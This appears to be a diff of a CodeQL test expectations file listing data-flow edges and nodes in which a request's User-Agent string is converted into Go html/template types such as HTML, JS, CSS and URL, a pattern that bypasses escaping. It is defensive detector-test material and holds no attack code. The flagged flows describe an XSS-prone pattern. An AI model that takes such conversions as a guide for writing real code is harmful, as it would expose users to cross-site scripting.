+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion |
| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion |
| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion |
| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion |
| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion |
| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion |
| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion |
| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped |
+| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion |
| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src |
nodes
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | semmle.label | escaped |
| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | semmle.label | src |
#select
